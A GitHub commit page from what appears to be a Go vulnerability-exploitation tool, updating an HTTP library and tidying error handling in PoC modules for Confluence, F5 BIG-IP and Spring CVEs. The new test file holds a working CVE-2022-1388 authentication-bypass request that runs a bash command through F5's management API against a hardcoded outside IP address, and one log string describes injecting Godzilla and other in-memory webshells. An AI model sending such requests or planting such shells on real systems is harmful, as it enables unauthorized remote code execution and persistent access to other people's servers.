Skip to content

Commit 692ecf4

Browse files
committed
将req依赖更新到3.11.2版本彻底不会出现返回包nil问题
1 parent 3b0ce2c commit 692ecf4

File tree

9 files changed

+35
-31
lines changed

9 files changed

+35
-31
lines changed

cmd/commons/poc/2021/CVE-2021-26084.go

Lines changed: 1 addition & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -58,23 +58,16 @@ func (CVE202126084) init() {
5858
func (CVE202126084) SaveResult(target string, file string) {
5959
err := utils.SaveToFile(target, file)
6060
if err != nil {
61+
log.Debugf("CVE-2021-26084 SaveResult error: %s", err)
6162
return
6263
}
6364
}
6465

6566
func (CVE202126084) CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool {
66-
// 处理异常
67-
defer func() {
68-
if errs := recover(); errs != nil {
69-
log.Debug(errs)
70-
}
71-
}()
72-
7367
if resp.IsSuccess() {
7468
log.Debugf(resp.Dump())
7569
return true
7670
}
77-
7871
return false
7972

8073
}

cmd/commons/poc/2022/CVE-2022-1388.go

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -92,12 +92,7 @@ func (CVE20221388) SaveResult(target string, file string) {
9292
}
9393

9494
func (CVE20221388) CheckExp(resp *req.Response, randstr string, hashmap map[string]interface{}) bool {
95-
defer func() {
96-
if err := recover(); err != nil {
97-
log.Error("[-] CheckExp error: ", err)
98-
}
99-
}()
100-
res := resp.String()
95+
res, _ := resp.ToString()
10196
if res == "" {
10297
return false
10398
}

cmd/commons/poc/2022/CVE-2022-22947.go

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -149,7 +149,11 @@ func (p CVE202222947) CheckExp(resp *req.Response, url string, hashmap map[strin
149149
}
150150

151151
func (CVE202222947) SaveResult(target, file string) {
152-
context := target + " Successful exploitation CVE-2020-222947 " + target + "/?cmd=echo Result or add header X-CMD: echo Result 默认优先注入哥斯拉内存马、NettyMemshell、SpringRequestMappingMemshell"
152+
contexts := target + " Successful exploitation CVE-2020-222947 " + target + "/?cmd=echo Result or add header X-CMD: echo Result 默认优先注入哥斯拉内存马、NettyMemshell、SpringRequestMappingMemshell"
153153
log.Info("[*]: url: " + target + "哥斯拉内存马 密码和key pass key header添加sumsec头 or /?cmd=echo Result or add header X-CMD: echo Result 默认优先注入哥斯拉内存马、NettyMemshell、SpringRequestMappingMemshell")
154-
utils.SaveToFile(context, file)
154+
err := utils.SaveToFile(contexts, file)
155+
if err != nil {
156+
log.Error("[-] SaveResult error: ", err)
157+
return
158+
}
155159
}

cmd/commons/poc/2022/CVE-2022-22963.go

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,8 @@ func (CVE202222963) SaveResult(target string, file string) {
6565
contexts := target + " 存在CVE-2022-22963漏洞"
6666
err := utils.SaveToFile(contexts, file)
6767
if err != nil {
68+
log.Debugf("[-] Save result failed")
69+
log.Debugf(err.Error())
6870
return
6971
}
7072
}

cmd/commons/poc/2022/CVE-2022-22965.go

Lines changed: 0 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -130,15 +130,8 @@ func (p CVE202222965) SaveResult(target string, file string) {
130130
}
131131

132132
func (p CVE202222965) CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool {
133-
defer func() {
134-
if err := recover(); err != nil {
135-
log.Error("[-] CheckExp error: ", err)
136-
}
137-
}()
138-
139133
if resp.IsSuccess() {
140134
return true
141135
}
142-
143136
return false
144137
}

cmd/commons/utils/httpclient.go

Lines changed: 1 addition & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -54,17 +54,11 @@ func Send(hashmap map[string]interface{}) (resp *req.Response) {
5454

5555
reqt := client.R().EnableDump()
5656
reqs := SetRequest(reqt, headers, body.(string))
57-
defer func() {
58-
if err := recover(); err != nil {
59-
log.Trace(err)
60-
}
61-
}()
6257
resp, errs := reqs.Send(method, url)
6358
if resp == nil || errs != nil {
6459
log.Debug("requesting error: " + errs.Error())
65-
return nil
60+
return resp
6661
}
67-
log.Trace(resp.String())
6862
log.Debugln("send request success")
6963
return resp
7064
}

cmd/test/url.go

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,26 @@
11
package main
22

3+
import (
4+
"fmt"
5+
"github.com/imroc/req/v3"
6+
)
7+
38
func main() {
9+
url := "http://139.162.180.108:7500"
10+
client := req.C()
11+
client.SetTimeout(10 * 1000)
12+
client.SetCommonRetryCount(3)
13+
client.EnableInsecureSkipVerify()
14+
headers := map[string]string{
15+
"Host": "localhost",
16+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36",
17+
//"Connection": "keep-alive, x-f5-auTh-tOKen, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd,X-F5-New-Authtok-Reqd,X-Forwarded-Server,X-Forwarded-Host",
18+
"Connection": "keep-alive, x-f5-auTh-tOKen",
19+
"Authorization": "Basic YWRtaW46",
20+
"X-F5-Auth-Token": "a",
21+
"Content-Type": "application/json",
22+
}
23+
resp, _ := client.R().SetHeadersNonCanonical(headers).SetBody("{\"command\":\"run\",\"utilCmdArgs\":\"-c 'echo SnZQYURpdk9lVQ== | base64 -d'\"}").Post(url + "/mgmt/tm/util/bash")
24+
fmt.Println(resp.String())
425

526
}

go.mod

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ go 1.13
55
require (
66
github.com/corpix/uarand v0.1.1
77
github.com/fatih/structs v1.1.0
8-
github.com/imroc/req/v3 v3.11.0
8+
github.com/imroc/req/v3 v3.11.2
99
github.com/projectdiscovery/mapcidr v0.0.9
1010
github.com/sirupsen/logrus v1.8.1
1111
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c // indirect

go.sum

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -51,6 +51,8 @@ github.com/hooklift/assert v0.1.0/go.mod h1:pfexfvIHnKCdjh6CkkIZv5ic6dQ6aU2jhKgh
5151
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
5252
github.com/imroc/req/v3 v3.11.0 h1:s2+GYIdzd20i4bB1ZWncsRx+x7wcy3f6cpDIbR1P6ro=
5353
github.com/imroc/req/v3 v3.11.0/go.mod h1:G6fkq27P+JcTcgRVxecxY+amHN1xFl8W81eLCfJ151M=
54+
github.com/imroc/req/v3 v3.11.2 h1:21T0t1sZTJ04e0tMOEMmH3z66V3opRH8LO5lss3Sv3c=
55+
github.com/imroc/req/v3 v3.11.2/go.mod h1:G6fkq27P+JcTcgRVxecxY+amHN1xFl8W81eLCfJ151M=
5456
github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
5557
github.com/jpillora/backoff v0.0.0-20180909062703-3050d21c67d7/go.mod h1:2iMrUgbbvHEiQClaW2NsSzMyGHqN+rDFqY705q49KG0=
5658
github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=

0 commit comments

Comments
 (0)